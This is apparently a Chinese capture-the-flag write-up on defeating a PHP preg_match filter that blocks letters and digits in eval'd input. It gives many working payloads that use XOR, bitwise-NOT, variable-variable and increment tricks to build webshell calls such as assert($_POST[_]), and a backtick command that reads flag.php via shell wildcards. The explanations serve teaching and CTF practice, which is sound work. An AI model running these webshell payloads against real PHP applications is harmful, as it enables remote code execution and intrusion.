ctf中 preg_match 绕过技术 | 无字母数字的webshell
例题
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } highlight_file(__FILE); // ?>
解法1
异或绕过php
使用异或绕过:可使用各类特殊字符的异或构造出字母和数字html
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/" for i in range(0, len(str)): for j in range(0, len(str)): a = ord(str[i])^ord(str[j]) print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
成功触发命令命令执行:linux
payload:web
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo
解法2
取反绕过shell
把getFlag取反而后URL编码:windows
<?php echo urlencode(~"getFlag");
输出以下:数组
依据这个咱们能够构造payload:浏览器
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
解法3
其实我的认为解法3与解法2类似:php7
payload以下:函数
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
~ 在 {} 中执行了取反操做,因此 ${~"\xa0\xb8\xba\xab"}
取反至关于 $_GET
,拼接出了 $_GET['+']();
,传入 +=getFlag() 从而执行了函数
解法4
仍是异或的操做,只是进行了urlencode和加上了中文变量名。
payload以下:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
解法5
其实利用的仍是异或吧,只是把变量名也是异或取得的。
payload以下:
?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();
<hr/>
原本结束了,师傅们tql,我继续记录一下:有时候有点懒得本身笔述,就直接用了师傅们的笔述了,简单说明一下。
php中取反(~)的概念
来看一个汉字"和"
>>> print("和".encode('utf8')) b'\xe5\x92\x8c' >>> print("和".encode('utf8')[2]) 140 >>> print(~"和".encode('utf8')[2]) -141
"和"的第三个字节的值为140[0x8c],取反的值为-141。 负数用十六进制表示,一般用的是补码的方式表示。负数的补码是它自己的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。 所以
<?php $_="和"; print(~($_{2})); print(~"\x8c"); ?> 两个写法性质同样 结果会输出: ss
脚本:
>>> def get(shell): ... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell)) ... print(hexbit) ... >>> get('phpinfo') 0x8f0x970x8f0x960x910x990x90
不用数字构造出数字
利用了PHP弱类型特性,true的值为1,故true+true==2。
$_=('>'>'<')+('>'>'<') print($_) print($_/$_) 结果会输出:2 1
在php中未定义的变量默认值为null,null==false==0,因此咱们可以在不使用任何数字的状况下经过对未定义变量的自增操做来获得一个数字。
<?php $_++; print($_); ?> 结果会输出:1
非字母、数字的字符异或出字母
不可打印字符,用url编码表示。
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
注明:因为其中包含%01等通过urlencode的字符,因此须要经过浏览器提交才能够生效。
非字母、数字的字符取反出字母
利用的是UTF-8编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的utf8是三个字节,{2}表示第3个字节
<?php header("Content-Type:text/html;charset=utf-8"); $__=('>'>'<')+('>'>'<');//$__=2 $_=$__/$__;//$_=1 $___="瞰"; $____="和"; print(~($___{$_})); echo "<br>"; print(~($____{$__}));
payload:
<?php $__=('>'>'<')+('>'>'<');//$__2 $_=$__/$__;//$_1 $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST $_=$$_____;//$_=$_POST $____($_[$__]);//assert($_POST[2])
这里也有一种简短的写法${~"\xa0\xb8\xba\xab"}它等于$_GET。这里至关于直接把utf8编码的某个字节提取出来统一进行取反。
php递增/递减运算符
这种方法很明显的缺点就是须要大量的字符。
'a'++ => 'b','b'++ => 'c',咱们只要能拿到一个变量,其值为a,经过自增操做便可得到a-z中全部字符。 数组(Array)的第一个字母就是大写A,并且第4个字母是小写a。在PHP中,若是强制链接数组和字符串的话,数组将被转换成字符串,其值为Array。再取这个字符串的第一个字母,就能够得到'A'。
由于PHP函数是大小写不敏感的,最终执行的是ASSERT($POST[]),无需获取小写a。
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
不用数字和字母写shell的实例
就是开头写的了。请从头看,第一个案例就是这个。
不用数字,字母和下划线写shell的实例
<?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
下划线都不给,这就很恐怖了。意味着不能定义变量,并且也构造不出来数字。不过在PHP的灵活性面前,问题不大。 这是一开始学长给的payload,+号必须加引号
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
51个字符太长了,因此这里能够用简短的写法
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
不过这样不能成功。 学长给出了解释:eval只能解析一遍代码,因此若是写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码 例如:
eval($_GET['b'])
url里面 b=phpinfo();
这时候至关于eval('phpinfo();')
eval($_GET['b'])
url里面b=$_GET[c]&c=phpinfo();
至关于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag();
,也就是eval('$_GET['+'])
并不会执行getFlag();
正确的payload为:
${"`{{{"^"?<>/"}['+']();&+=getFlag
这里利用了${}
中的代码是能够执行的特色,其实也就是可变变量。
<?php $a = 'hello'; $$a = 'world'; echo "$a ${$a}"; ?> 输出:hello world
${$a}
,括号中的$a
是能够执行的,变成了hello。 payload中的{}也是这个原理,{}中用的是异或,^
在{}中被执行了,也就是上面讲的"`{{{"^"?<>/"
执行了异或操做,至关于_GET
。
最后eva函数拼接出了字符串$_GET['+']()
;,而后传入+=getFlag,最后执行了函数getFlag();
PHP是弱类型的语言,所以咱们能够利用这个特色进行许多很是规的操做,也就是利用各类骚姿式来达到同一个目的。不过随着PHP版本的变化,php的一些特性也会变化,例如php5中assert是一个函数,但php7中,assert再也不是函数,变成了一个语言结构(相似eval),不能再做为函数名动态执行代码。所以咱们要多熟悉php不一样版本的差别。
不用数字字母下划线和$ getFlag
<?php include 'flag.php'; if(isset($_GET['code'])) { $code=$_GET['code']; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)) { die("NO."); } @eval($code); } else { highlight_file(__FILE__); } //$hint="php function getFlag() to get flag"; ?>
看到题的瞬间窃喜,觉得是原题,拿着payload各类试。觉得题坏了,最后才看到多过滤了一个$,2333。瞬间感受上面的东西都白学了。
payload:code=?><?=`/???/??? ????.???`?>
?>
闭合php文件开头的<?php
,<?=
能够输出
<? ?>是短标签,<?php ?>是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启之后可使用PHP的短标签:<? ?>同时,只有开启这个才可使用 <?= 以代替 <? echo 。
这个配置默认是开启的
还利用linux的通配符:/???/???通配/bin/cat ????.???通配flag.php 还有php中`符号能够执行系统命令
fl4g师傅的思考
windows中将if(preg_match(“/[A-Za-z0-9_$]+/“,$code))过滤修改,去除对大写字母或小写的过滤,因为windows对大小写不敏感,能够在windows系统中尝试执行任意代码
http://127.0.0.1/test27.php?code=?><?=`whoami`?>
注明:哈哈,上面不少懒得写,就直接赋值smile师傅的了。
推荐一篇文章: https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html